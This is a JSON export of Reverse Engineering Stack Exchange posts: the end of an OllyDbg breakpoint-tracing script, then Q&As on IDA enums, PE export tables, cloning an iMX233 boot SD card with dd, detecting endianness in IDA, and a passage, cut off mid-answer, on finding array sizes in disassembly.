\nscmp  str, \"str:\", 4    \njne ok  \nbuf str \nmov [esp-100],str   \nmov value,0 \nmov value,[esp-100+4]   \nkeepon: \nmov [buff+offset-4],[esp-100+offset]    \nadd offset,4    \ncmp tmp,offset  \njbe nok \njmp keepon  \nok: \nmov [buff+offset-4],value   \nnok:    \ncmp processkill,1   \nje loop \nMSGYN \"do you want to set breakpoints on dlls ? \"   \nifeq $RESULT, 0 \nmov dll,0   \nelse    \nmov dll,1   \nendif   \ncmp $RESULT,2   \nje theend   \njmp firstcheck  \nreturnback: \nmov val,value   \nMSGYN \"do you want to trace the information ? press no to proceed smart research \"  \ncmp $RESULT, 2  \njne traced  \n\n\n\n\nfirstcheck: \nmov val,0   \nmov addr,0  \nmov tmp,0   \nmov str,0   \nrepeat: \nmov [2*str+offst],c0+str    \nadd str,1   \ncmp str,3   \njl repeat   \nmov str,value   \nbuf str \nfindmem str, addr   \ncmp $RESULT, 0  \nje cont \nmov addr,$RESULT    \nitoa addr   \nlog \"value found in memory at \" + $RESULT   \nifeq tmp,0  \nmsgyn \"value found in memory would you like to set memory breakpoint there (see log) ?\" \nmov tmp,$RESULT \ncmp $RESULT,2   \nje returnback   \nendif   \nmov val,addr    \nGMEMI addr, MEMORYBASE  \nmov addr,$RESULT    \ngmi addr,PATH   \nadd buff,300    \nmov [buff],$RESULT  \nlen [buff]  \nmov str,$RESULT \nadd str,buff    \nsub str,3   \ncmp [str],\"dll\" \nsub buff,300    \nje cont \nGMEMI addr, MEMORYSIZE  \ncmp val,start   \njb performm \ncmp val, finish \nja performm \nadd addr,$RESULT    \njmp repeat  \nperformm:   \ncmp val,stack   \njb performm2    \ncmp val, stackend   \nja performm2    \nmov addr,val    \nmov str,4   \njmp changeplan  \nperformm2:  \nmov str,$RESULT     \nsub str,1   \nchangeplan: \ncmp tmp,0   \nje saut \nbprm addr,str   \nmov val,[buff+400]  \nmov [buff+404+val],addr \nmov [buff+408+val],str  \nadd val,8   \nmov [buff+400],val  \nsaut:   \nadd addr,str    \ncmp tmp,0   \nje repeat   \njmp cont    \n\n\n\n\n\ntraced: \ncmp $RESULT, 0  \nje smartsearch  \n\n\n\nitoa val    \nmov val,$RESULT \nconcatenate:    \nlen val \ncmp $RESULT,8   \nje stopit   \nmov val,\"0\"+val \njmp concatenate \nstopit: \nmov str, \" EAX==\" + val+ \" | EBX==\" + val+ \" | ECX==\" + val+ \" | EDX==\" + val+ \" | ESI==\" + val+ \" | EDI==\" + val   \nlog \"---------------------value to trace is---------------------------\" \nlog str \nlog \"-----------------------------------------------------------------\" \nticnd str   \nmov swtch,1 \njmp passover    \ntrace:  \nprecontinue:    \nsti \nmov addr,eip    \nti  \ncmp eip,addr    \nje precontinue  \npassover:   \nifeq dll,0  \ncmp eip,start   \njb run  \ncmp eip,finish  \nja run  \njmp continue    \nrun:    \nrtr \nsti \ncmp eip,start   \njb run  \ncmp eip,finish  \nja run  \njmp trace   \nendif   \ncontinue:   \npreop eip   \nmov addr,$RESULT    \nGOPI addr, 1, DATA  \ncmp $RESULT,value   \nje detected1    \nGOPI addr, 2, DATA  \ncmp $RESULT,value   \nje detected2    \nGOPI addr, 1, ADDR  \ncmp $RESULT,7   \nja checkval \nmov val,[buff]  \ncmp swtch,1 \nje trace    \njmp redo2   \ncheckval:   \nmov tmp,0   \ncmp [$RESULT],value \nand [offst+1],ff00ff00  \nmov val,7   \nje affect   \nadd tmp,1   \ncmp [$RESULT+1],value   \nje affect   \nadd tmp,1   \ncmp [$RESULT+2],value   \nje affect   \nadd tmp,1   \ncmp [$RESULT+3],value   \nje affect   \nGOPI addr, 2, ADDR  \ncmp $RESULT,8   \nadd [offst+1],400050    \nadd [offst+1],val   \nadd [offst+3],val   \njb compare  \njmp round2  \naffect: \nadd [offst+1],400050    \nadd [offst+1],val   \nadd [offst+3],val   \nitoa $RESULT+tmp    \nmov addr,$RESULT    \nmov tmp,0   \nmov val, buff+100   \njmp concat  \nround2: \nmov tmp,0   \ncmp [$RESULT],value \nje affect   \nadd tmp,1   \ncmp [$RESULT+1],value   \nje affect2  \nadd tmp,1   \ncmp [$RESULT+2],value   \nje affect2  \nadd tmp,1   \ncmp [$RESULT+3],value   \nje affect2  \ncmp swtch,1 \nje trace    \njmp redo2   \naffect2:    \nitoa $RESULT+tmp    \nmov addr,$RESULT    \nmov tmp,0   \nmov val, buff+100   \njmp concat  \ncompare:    \nmov val,[buff]  \nmov [buff+e08],31303041 \ncmp swtch,1 \nje trace    \njmp redo2   \ndetected1:  \nGOPI addr, 1, ADDR  \njmp branch  \ndetected2:  \nGOPI addr, 2, ADDR  \nbranch:     \nmov tmp,$RESULT \nmov str,addr    \nitoa str    \nmov str,$RESULT \nitoa value  \ncmp tmp,0   \nje eaxx \ncmp tmp,1   \nje ecxx \ncmp tmp,2   \nje edxx \ncmp tmp,3   \nje ebxx \ncmp tmp,6   \nje esii \ncmp tmp,7   \nje edii \nlog \"eip=\"+str  \nmov addr,tmp    \nmov tmp,0   \nmov val, buff+100   \nitoa addr   \nmov addr,$RESULT    \nmov str,0   \nconcat: \nmov str,0   \nmov str,[buff+tmp]  \nitoa str    \nmov str,$RESULT \nmov [val] , \"[\" \nmov [val+1],  addr  \nlen [val]   \nmov [val+$RESULT], \"] == \"  \nmov [val+$RESULT+5], str    \nadd val,$RESULT+5   \nlen [val]   \nmov [val+$RESULT], \"&amp;\"  \nadd val,$RESULT+1   \nmov [val],0 \nadd tmp,1   \natoi addr   \nmov addr,0  \nmov addr,$RESULT    \nadd addr,1  \ncmp offset-4,tmp    \njbe dobp    \ncmp [addr],[buff+tmp]   \njne dobp2   \nitoa addr   \nmov addr,$RESULT    \njmp concat  \ndobp:   \nitoa addr   \nlog \"found at :\" + $RESULT  \nmsgyn \"perfect value found in memory ,would you like to clear all previous conditional breakpoints? press no to keep all breakpoints, cancel to stop script (see log window)\"   \nifeq $RESULT,1  \nbc  \nelse    \nifeq $RESULT,2  \njmp theend  \nendif   \nendif   \ndobp2:  \nmov [val-1],0   \nmov [buff+e04],57414741 \ngstr buff+100   \nBPCND eip, $RESULT  \ncmt finish,\"done\"   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \nfill buff+100, val-buff-100, 0  \nmov val,[buff]  \ncmp swtch,1 \nje trace    \njmp redo2   \neaxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EAX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check4  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check4   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck4: \ncmp swtch,1 \nje trace    \njmp redo2   \nebxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EBX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check3  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check3   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck3: \ngcmt start  \ncmp $RESULT,\"done\"  \njne check5  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check5   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck5: \ncmp swtch,1 \nje trace    \njmp redo2   \necxx:   \nlog \"eip=\"+str  \nBPCND eip, \"ECX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check6  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check6   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck6: \ncmp swtch,1 \nje trace    \njmp redo2   \nedxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EDX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check7  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check7   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck7: \ncmp swtch,1 \nje trace    \njmp redo2   \nesii:   \nlog \"eip=\"+str  \nBPCND eip, \"ESI == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check8  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check8   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck8: \ncmp swtch,1 \nje trace    \njmp redo2   \nedii:   \nlog \"eip=\"+str  \nBPCND eip, \"EDI == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check9  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check9   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck9: \ncmp swtch,1 \nje trace    \njmp redo2   \n\n\n\ncont:   \n\nlog \"-----------------end memorybreakpoints---------------------\"   \nloop:   \nCOE \nerun    \n\n\nifeq dll,0  \ncmp eip,start   \njb run2 \ncmp eip,finish  \nja run2 \njmp continue2   \nrun2:   \nBPMC    \nredoit: \nCOE \nerun    \ncmp eip,start   \njb redoit   \ncmp eip,finish  \nja redoit   \nmov val,0   \nmov str,buff+404    \nbpaffect:   \nbprm [str],[str+4]  \nadd str,8   \nadd val,8   \ncmp [buff+400],val  \njne bpaffect    \njmp loop    \ncontinue2:  \nendif                           \n\n\n\nmov addr, eip   \nGOPI addr, 1, DATA  \ncmp $RESULT, value  \nje detected1    \nGOPI addr, 2, DATA  \ncmp $RESULT, value  \nje detected2    \nGOPI addr, 1, ADDR  \ncmp $RESULT,7   \nja checkval \nGOPI addr, 2, ADDR  \ncmp $RESULT,8   \njb redo2    \njmp round2  \ndetected1:  \nGOPI addr, 1, ADDR  \njmp branch  \ndetected2:  \nGOPI addr, 2, ADDR  \njmp branch  \n\n\n\nifeq dll,0  \ncmp eip,start   \njb run2 \ncmp eip,finish  \nja run2 \njmp continue2   \nrun2:   \nBPMC    \nredoit: \nCOE \nrtr \nsti \ncmp eip,start   \njb redoit   \ncmp eip,finish  \nja redoit   \nmov val,0   \nmov str,buff+404    \nbpaffect:   \nbprm [str],[str+4]  \nadd str,8   \nadd val,8   \ncmp [buff+400],val  \njne bpaffect    \njmp loop    \ncontinue2:  \nendif                           \n\n\nredo2:  \n\njmp loop    \n\n\n\nsmartsearch:    \nmov dll,0   \nmov addr, eip   \nboucl:  \nmov str,addr    \npreop addr  \nifeq $RESULT,addr-1 \npreop $RESULT   \nmov addr,$RESULT    \njmp boucl   \nendif   \nmov addr,$RESULT    \ncmp addr,str    \nje finishit \nopcode addr \nmov [buff+200],$RESULT_1    \nmov str,buff+200    \nckecknext:  \nadd str,1   \nscmp  [str], \"[\", 1 \nje dobreak  \ncmp [str],0 \nje boucll   \njmp ckecknext   \ndobreak:    \nbp  addr    \nmov dll,addr-eip    \nitoa dll    \nmov dll,$RESULT \npreop eip   \ncmt $RESULT,dll \nmov val,addr    \nitoa val    \nLBL val,\"yes\"+$RESULT   \nboucll: \ngstr buff+200   \nlen $RESULT \nfill buff+200, $RESULT, 0   \njmp boucl   \n\nfinishit:   \nmov dll,0   \nmov start,addr  \nmov addr, eip   \nboucl2: \nGCI addr, size  \ncmp $RESULT,0   \nje loopp    \nmov addr,addr +$RESULT  \npreop addr  \nifeq $RESULT,addr-1 \njmp boucl2  \nendif   \nopcode addr \ncmp addr,finish \njae loopp   \nmov [buff+200],$RESULT_1    \nmov str,buff+200    \nckecknext2: \nadd str,1   \nscmp  [str], \"[\", 1 \nje dobreak2 \ncmp [str],0 \nje boucll2  \njmp ckecknext2  \ndobreak2:   \nmov dll,addr-eip    \nitoa dll    \nmov dll,$RESULT \npreop eip   \ncmt $RESULT,dll \nGCI addr, size  \nbp  addr    \nmov val,addr    \nitoa val    \nLBL val,\"yes\"+$RESULT   \nboucll2:    \ngstr buff+200   \nlen $RESULT \nfill buff+200, $RESULT, 0   \njmp boucl2  \n\nloopp:  \npreop eip   \ncmt $RESULT,\"ready\" \njmp loop    \n\nexit:   \nmov val,start   \nagain:  \nifeq val,finish \njmp lafin   \nendif   \nendif   \nmov str,\"\"  \nglbl val    \nifNeq $RESULT,0 \nMOV str,$RESULT \nendif   \nscmp str,\"yes\",3    \njne skipit  \nbc val  \nlbl val,\"\"  \nskipit: \nGCI val, size   \nmov val,val+$RESULT \njmp again   \nlafin:  \npreop eip   \ncmt $RESULT,\"\"  \ncmt finish,\"complete\"   \nmsg \"finished, save a copy of ./udd/&lt;exename&gt;.udd to store script results\"  \ntheend: \nRet                     \n</code></pre>\n\n<ul>\n<li>May you report me any bugs you find to this email atagawa@gmail.com -best regards-</li>\n</ul>\n"
    },
    {
        "Id": "6651",
        "CreationDate": "2014-11-18T00:04:16.500",
        "Body": "<p>Bear with me as I am new to IDA and have not managed to find an answer to my question on google or other related outlets.</p>\n\n<p>I am reversing a firmware blob from an ARM device of which I have a c header file defining various memory locations as follows:</p>\n\n<pre><code>#define IO_LCD_OUT 0x4000000\n</code></pre>\n\n<p>Is there a way I can load this header file into IDA in order to redefine immediate values?</p>\n\n<p>For Example, instead of:</p>\n\n<pre><code>MOV     R12, #0x4000000\n</code></pre>\n\n<p>Could IDA instead print:</p>\n\n<pre><code>MOV     R12, IO_LCD_OUT\n</code></pre>\n\n<p>Are there other ways to acheive this outcome aside from how I am trying to approach this? I have the header file with memory locations defined and would like to load that information into ida!</p>\n\n<p>I have tried to parse it using File -> Load File -> Parse C Header File and have had no luck! </p>\n",
        "Title": "Importing C header file with memory location definitions",
        "Tags": "|ida|",
        "Answer": "<p>You can use custom enumerations here.</p>\n\n<ol>\n<li>Go to Enums list (<kbd>Shift</kbd>+<kbd>F10</kbd>).</li>\n<li>Add a new enum for you list of constants (<kbd>Ins</kbd>)</li>\n<li>Add constant(s) to the list (<kbd>N</kbd>), e.g. name <code>IO_LCD_OUT</code> and value <code>0x4000000</code></li>\n<li>Now you should be able to replace these constants in the disassembly, using <kbd>M</kbd> or the context menu.</li>\n</ol>\n\n<p>You can speed up things by:</p>\n\n<ol>\n<li>Generating an IDC file from the header to build the enum programmatically (use functions <code>AddEnum</code> and <code>AddConstEx</code>). The <a href=\"https://www.hex-rays.com/products/ida/support/download.shtml\" rel=\"noreferrer\"><code>h2enum.idc</code> script</a> might work too.</li>\n<li>Converting those defines to a C style <code>enum</code>, parsing the header, then using the imported enum from your disassembly (you will need to first perform <code>Synchronize to idb</code> step in the Local Types).</li>\n</ol>\n"
    },
    {
        "Id": "6652",
        "CreationDate": "2014-11-18T00:47:34.830",
        "Body": "<p>I'm trying to explore the functions exported by profapi.dll and I came across a behavior that I can't explain. </p>\n\n<p>Reading about the PE binary format I gather that the export table has 3 tables (arrays): one array containing function pointers of exported functions, another containing names (strings) of exported functions, and a third array containing the integer ordinal numbers of the exported functions. The linker needs the information in the name and/or the ordinal table to patch calls to exported functions in other DLLs. The name table pointer can be NULL if the DLL exports its functions using only ordinal numbers. </p>\n\n<p>However, for profapi.dll, I see that both the name table and the ordinal table pointers are NULL; yet the DLL exports 6 functions (verified using IDAPro). In fact, shell32.dll calls one of the functions in profapi.dll using its ordinal number and the linker somehow resolves the address. I'm not sure how the linker is able to resolve the call in shell32.dll. Moreover, pefile, the Python library I am using to parse the DLL reports that profapi.dll does not export any functions since both the name and ordinal table pointers are NULL. What am I missing?</p>\n\n<p>I'm using profapi.dll version 6.1.7600.16385 and shell32.dll version 6.1.7601.2278 on Windows 7. I'm using pefile version 1.2.10-139.</p>\n",
        "Title": "Name and Ordinal table pointers in export directory are NULL although DLL exports functions",
        "Tags": "|dll|pe|",
        "Answer": "<p>The \"ordinal table\" (also known as the Export Ordinal Table or <code>AddressOfNameOrdinals</code>) is used in conjunction with the \"name table\" (also known as the Export Name Pointer Table or <code>AddressOfNames</code>) if-and-only-if functions are exported by name.</p>\n\n<p>From the <a href=\"http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx\" rel=\"nofollow noreferrer\">official PE-COFF documentation</a>:</p>\n\n<blockquote>\n  <p>The export name pointer table and the export ordinal table form two\n  parallel arrays that are separated to allow natural field alignment.\n  These two tables, in effect, operate as one table, in which the Export\n  Name Pointer column points to a public (exported) name and the Export\n  Ordinal column gives the corresponding ordinal for that public name. A\n  member of the export name pointer table and a member of the export\n  ordinal table are associated by having the same position (index) in\n  their respective arrays.</p>\n</blockquote>\n\n<p>But if there are no functions exported by name, then there is no Export Name Pointer Table, and if there's no Export Name Pointer Table then there's on need for the Export Ordinal Table either, which is why both fields are <code>NULL</code> in the Export Directory Table.</p>\n\n<blockquote>\n  <p>In fact, shell32.dll calls one of the functions in profapi.dll using\n  its ordinal number and the linker somehow resolves the address.</p>\n</blockquote>\n\n<p>The build-time linker (part of the compiler toolkit) doesn't resolve the address; the run-time loader (part of Windows) resolves the address. The loader see that shell32.dll imports a profapi.dll function by a given ordinal number (let's say <code>105</code>, for example), so it subtracts profapi.dll's Ordinal Base (let's say <code>101</code>, for example) from the ordinal number and uses the result (<code>4</code> in this example) as an index into the Export Address Table to find the RVA of the imported function. Neither the Export Ordinal Table nor the Export Name Pointer Table are needed.</p>\n\n<blockquote>\n  <p>Moreover, pefile, the Python library I am using to parse the DLL\n  reports that profapi.dll does not export any functions since both the\n  name and ordinal table pointers are NULL. What am I missing?</p>\n</blockquote>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/a/6635/1562\">As discussed here</a>, the pefile Python library is broken, or at least older versions of it are known to be broken with respect to ordinal handling.</p>\n"
    },
    {
        "Id": "6666",
        "CreationDate": "2014-11-20T23:08:23.920",
        "Body": "<p>I have an embedded device which is loosely based around a <a href=\"https://www.olimex.com/Products/OLinuXino/iMX233/\" rel=\"noreferrer\">Olinixino iMX233</a> design. This has a Freescale iMX233 microprocessor and boots from a socketed 2GB microSD card.</p>\n\n<p>I wish to alter the filesystem, but also backup the filesystem prior to altering it so that I don't brick the device. </p>\n\n<p>To achieve this, I obtained a similar 2GB micro SD card, and cloned the current SD card using <em>dd</em> in a USB card reader:</p>\n\n<pre><code>dd if=/dev/sdc of=HeatmiserSDC.img\n</code></pre>\n\n<p>then after swapping cards:</p>\n\n<pre><code>dd if=HeatmiserSDC.img of=/dev/sdc\n</code></pre>\n\n<p>When this new card is placed in the device, it fails to boot.</p>\n\n<p>I have also now tried the sg3_utils utility <em>sg_dd</em> which operates at a slightly lower level. This has produced a slightly different image file but still won't boot.</p>\n\n<p>I have also now used a SD to micro SD adapter in a direct SD card interface (/dev/mmcblk0) in a Thinkpad x220. This also failed to boot.</p>\n\n<p>The serial console produces a single error code when it fails to boot, <em>0x8020a007</em>, which doesn't provide much useful during a Google search.</p>\n\n<p>I have tried multiple cards, including some 4GB cards. This doesn't seem to be a space issue - sometimes one 2GB SD card is slightly smaller than another. The board also seems to be using the SD protocol and not the SPI protocol. The SPI protocol is sometimes not very reliable on newer cards.</p>\n\n<p><em>fsutil -l</em> produces the following output:</p>\n\n<pre><code>Disk /dev/sdc: 1996 MB, 1996488704 bytes\n8 heads, 7 sectors/track, 69632 cylinders, total 3899392 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n   Device Boot      Start         End      Blocks   Id  System\n/dev/sdc1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/sdc2           32001      200000       84000   83  Linux\n/dev/sdc3          200001      400000      100000   83  Linux\n/dev/sdc4          400001     3899391     1749695+  83  Linux\n</code></pre>\n\n<p>Is there something I am missing here? Some data that isn't copied as part of <em>dd</em>?</p>\n",
        "Title": "Why would copying a micro SD card using dd fail to produce a bootable card?",
        "Tags": "|embedded|",
        "Answer": "<p>After some searching, it seems that the boot process on the iMX233 is fairly non-standard. By default it looks for a \"Boot Control Block\" (BCB) in the last block of the SD card.</p>\n\n<p>Examining the original SD card, find the last block using <em>fdisk -l</em>:</p>\n\n<pre><code>Disk /dev/mmcblk0: 1996 MB, 1996488704 bytes\n4 heads, 16 sectors/track, 60928 cylinders, total 3899392 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n        Device Boot      Start         End      Blocks   Id  System\n/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/mmcblk0p2           32001      200000       84000   83  Linux\n/dev/mmcblk0p3          200001      400000      100000   83  Linux\n/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux\n</code></pre>\n\n<p>There are 3899392 sectors.</p>\n\n<p>Examine the last sector of the SD card using <em>dd</em>:</p>\n\n<pre><code>root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 2&gt; /dev/null | hexdump -C\n00000000  33 22 11 00 01 00 00 00  04 00 00 00 04 00 00 00  |3\"..............|\n00000010  04 00 00 00 04 08 00 00  50 00 00 00 50 00 00 00  |........P...P...|\n00000020  50 00 00 00 50 00 00 00  ef be ad de 00 00 00 00  |P...P...........|\n00000030  01 00 00 00 02 00 00 00  03 00 00 00 04 00 00 00  |................|\n00000040  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|\n00000050  09 00 00 00 0d 0a 00 00  00 0b 00 00 00 0c 00 00  |................|\n00000060  00 0d 00 00 00 0e 00 00  00 0f 00 00 00 10 00 00  |................|\n00000070  00 11 00 00 00 12 00 00  00 13 00 00 00 14 00 00  |................|\n00000080  00 15 00 00 00 16 00 00  00 17 00 00 00 18 00 00  |................|\n00000090  00 19 00 00 00 1a 00 00  00 1b 00 00 00 1c 00 00  |................|\n000000a0  00 1d 00 00 00 1e 00 00  00 1f 00 00 00 20 00 00  |............. ..|\n000000b0  00 21 00 00 00 22 00 00  00 23 00 00 00 24 00 00  |.!...\"...#...$..|\n000000c0  00 25 00 00 00 26 00 00  00 27 00 00 00 28 00 00  |.%...&amp;...'...(..|\n000000d0  00 29 00 00 00 2a 00 00  00 2b 00 00 00 2c 00 00  |.)...*...+...,..|\n000000e0  00 2d 00 00 00 2e 00 00  00 2f 00 00 00 30 00 00  |.-......./...0..|\n000000f0  00 31 00 00 00 32 00 00  00 33 00 00 00 34 00 00  |.1...2...3...4..|\n00000100  00 35 00 00 00 36 00 00  00 37 00 00 00 38 00 00  |.5...6...7...8..|\n00000110  00 39 00 00 00 3a 00 00  00 3b 00 00 00 3c 00 00  |.9...:...;...&lt;..|\n00000120  00 3d 00 00 00 3e 00 00  00 3f 00 00 00 40 00 00  |.=...&gt;...?...@..|\n00000130  00 41 00 00 00 42 00 00  00 43 00 00 00 44 00 00  |.A...B...C...D..|\n00000140  00 45 00 00 00 46 00 00  00 47 00 00 00 48 00 00  |.E...F...G...H..|\n00000150  00 49 00 00 00 4a 00 00  00 4b 00 00 00 4c 00 00  |.I...J...K...L..|\n00000160  00 4d 00 00 00 4e 00 00  00 4f 00 00 00 50 00 00  |.M...N...O...P..|\n00000170  00 51 00 00 00 52 00 00  00 53 00 00 00 54 00 00  |.Q...R...S...T..|\n00000180  00 55 00 00 00 56 00 00  00 57 00 00 00 58 00 00  |.U...V...W...X..|\n00000190  00 59 00 00 00 5a 00 00  00 5b 00 00 00 5c 00 00  |.Y...Z...[...\\..|\n000001a0  00 5d 00 00 00 5e 00 00  00 5f 00 00 00 60 00 00  |.]...^..._...`..|\n000001b0  00 61 00 00 00 62 00 00  00 63 00 00 00 64 00 00  |.a...b...c...d..|\n000001c0  00 65 00 00 00 66 00 00  00 67 00 00 00 68 00 00  |.e...f...g...h..|\n000001d0  00 69 00 00 00 6a 00 00  00 6b 00 00 00 6c 00 00  |.i...j...k...l..|\n000001e0  00 6d 00 00 00 6e 00 00  00 6f 00 00 00 70 00 00  |.m...n...o...p..|\n000001f0  00 71 00 00 00 72 00 00  00 73 00 00 00 74 00 00  |.q...r...s...t..|\n00000200\n</code></pre>\n\n<p>The magic number of 0x33221100 is mentioned in some Freescale documentation, though I was expecting to see it with the opposite endianness. </p>\n\n<p>So to make a successful clone, choose a SD card of larger capacity to ensure nothing is overwritten (or you can resize partitions).</p>\n\n<p>Take an image of the original card:</p>\n\n<pre><code>root@kali:~# dd if=/dev/mmcblk0 of=wholeSD.img\n3899392+0 records in\n3899392+0 records out\n1996488704 bytes (2.0 GB) copied, 98.3687 s, 20.3 MB/s\n</code></pre>\n\n<p>Then take an image of just the last sector for the BCB:</p>\n\n<pre><code>root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 of=BCB.img\n1+0 records in\n1+0 records out\n512 bytes (512 B) copied, 0.000220203 s, 2.3 MB/s\n</code></pre>\n\n<p>Find out how big the new SD card is:</p>\n\n<pre><code>Disk /dev/mmcblk0: 2002 MB, 2002780160 bytes\n4 heads, 16 sectors/track, 61120 cylinders, total 3911680 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n        Device Boot      Start         End      Blocks   Id  System\n/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/mmcblk0p2           32001      200000       84000   83  Linux\n/dev/mmcblk0p3          200001      400000      100000   83  Linux\n/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux\n</code></pre>\n\n<p>This one is larger with 3911680 sectors.</p>\n\n<p>Move the whole card image onto the new card:</p>\n\n<pre><code>root@kali:~# dd if=wholeSD.img of=/dev/mmcblk0\n13899392+0 records in\n3899392+0 records out\n1996488704 bytes (2.0 GB) copied, 1545.45 s, 1.3 MB/s\n</code></pre>\n\n<p>And then move the BCB image to the last sector of the card:</p>\n\n<pre><code>root@kali:~# dd if=BCB.img bs=512 count=1 seek=3911679 of=/dev/mmcblk0\n1+0 records in\n1+0 records out\n512 bytes (512 B) copied, 8.4684e-05 s, 6.0 MB/s\n</code></pre>\n\n<p>Note the use of seek (output side) rather than skip (input side).</p>\n\n<p>It is worth double checking that the last block has been written. Several cheap SD cards don't seem to work in the last sectors, possibly because they misreport size.</p>\n\n<p>Now you have a booting card.</p>\n"
    },
    {
        "Id": "6668",
        "CreationDate": "2014-11-21T02:52:18.613",
        "Body": "<p>Looking for a way to determine whether the loaded binary in IDA is either little or big endian (example do i have a MIPSLE or MIPSBE binary open). I want to avoid just running \"file\" on the executable, as I may just not have a copy of the executable.</p>\n",
        "Title": "Determine endianness of file opened in IDA",
        "Tags": "|ida|",
        "Answer": "<p>Found the solution. It is slightly hidden but it is: <code>idaapi.cvar.inf.mf</code></p>\n\n<p>This returns true on Big and false on Little endian. </p>\n\n<p>idaapi.py uses it:</p>\n\n<pre><code>def as_unicode(s):\n    \"\"\"\n    Convenience function to convert a string into appropriate unicode format\n    \"\"\"\n    # use UTF16 big/little endian, depending on the environment?\n    return unicode(s).encode(\"UTF-16\" + (\"BE\" if _idaapi.cvar.inf.mf else \"LE\"))\n</code></pre>\n"
    },
    {
        "Id": "6672",
        "CreationDate": "2014-11-21T13:00:21.257",
        "Body": "<p>I'm currently learning RE and try to understand some basic c programs.</p>\n\n<p>I've almost figure out some concepts, but right now i've no idea how to find the size of an array when i use objdump or gdb.</p>\n\n<p>for example :</p>\n\n<pre><code>int main(int argc, char **argv)\n{\n  char buffer[64];               // &lt;= Where i supposed to find the array size ?\n  gets(buffer);                   \n  printf(\"Buffer : %s\",buffer);\n  return 0;\n}\n</code></pre>\n\n<p>Anyone can explain me how is it possible ?</p>\n",
        "Title": "How to find the size of an array in binary?",
        "Tags": "|c|objdump|binary|",
        "Answer": "<p>There's no easy way to do this, C doesn't have a concept of array sizes (at execute time), so the size isn't stored anywhere. You'll have to read the assembly code and (try to) understand it.</p>\n\n<p>Take the following program</p>\n\n<pre><code>extern void *malloc(int);\nextern char *strcpy(char *dst, char *src);\n\nchar firstname[80];\nchar lastname[80];\n\nint main(void) {\n    int some_variable=1;\n    char buffer[64];\n    int some_other_variable=2;\n    char *otherbuffer=malloc(100);\n    gets(buffer);\n    strcpy(firstname, \"John\");\n    strcpy(lastname, \"Doe\");\n}\n</code></pre>\n\n<p>and compile it with <code>cc -fno-builtin -O0 -o arraysize arraysize.c</code>. (I had to disable built-in functions to prevent gcc from short-circuiting malloc and strcpy, and i declared them myself instead of using the headers for the same reason. Also, without -O0, gcc omits stuff that's never used).</p>\n\n<p>Then, use <code>objdump -d arraysize</code> and check the <code>main</code> function:</p>\n\n<pre><code>0000000000400554 &lt;main&gt;:\n  400554:   55                      push   %rbp\n  400555:   48 89 e5                mov    %rsp,%rbp\n\n// This instruction tells you that the function needs 80 (0x50) bytes on the\n// stack. This happens to be the same as the size of all local variables\n// here, but might be higher as well if the function needs stack space for\n// function arguments and the like.\n  400558:   48 83 ec 50             sub    $0x50,%rsp\n\n\n// This puts 1 and 2 into the integer variables. Note we now know they're\n// located at -0x10(%rbp) and -0xc(%rbp) on the stack.\n  40055c:   c7 45 f0 01 00 00 00    movl   $0x1,-0x10(%rbp)\n  400563:   c7 45 f4 02 00 00 00    movl   $0x2,-0xc(%rbp)\n\n// This calls malloc(100) and puts the result into -0x8(rbp). We now know\n// the array pointed to has 100 bytes, because that's what was malloc'ed.\n// Note that you have no other way of finding out the size afterwards\n// (except if you know how exactly malloc is implemented and where malloc\n// keeps its internal housekeeping structures)\n  40056a:   bf 64 00 00 00          mov    $0x64,%edi\n  40056f:   e8 b4 fe ff ff          callq  400428 &lt;malloc@plt&gt;\n  400574:   48 89 45 f8             mov    %rax,-0x8(%rbp)\n\n// now, we call gets, feeding it with -0x50(%rbp) as its parameter.\n// As the next variable that's used on the stack is at -0x10(rbp), we can\n// assume that the array has 0x40=64 bytes. This does not have to be true;\n// for example, if the function declared 2 arrays of 32 bytes each, they'd\n// be at -0x50(%rbp) and -0x30(%rbp), and if the function never used the\n// one at 0x30(%rbp), there'd be no way for us to tell the difference.\n  400578:   48 8d 45 b0             lea    -0x50(%rbp),%rax\n  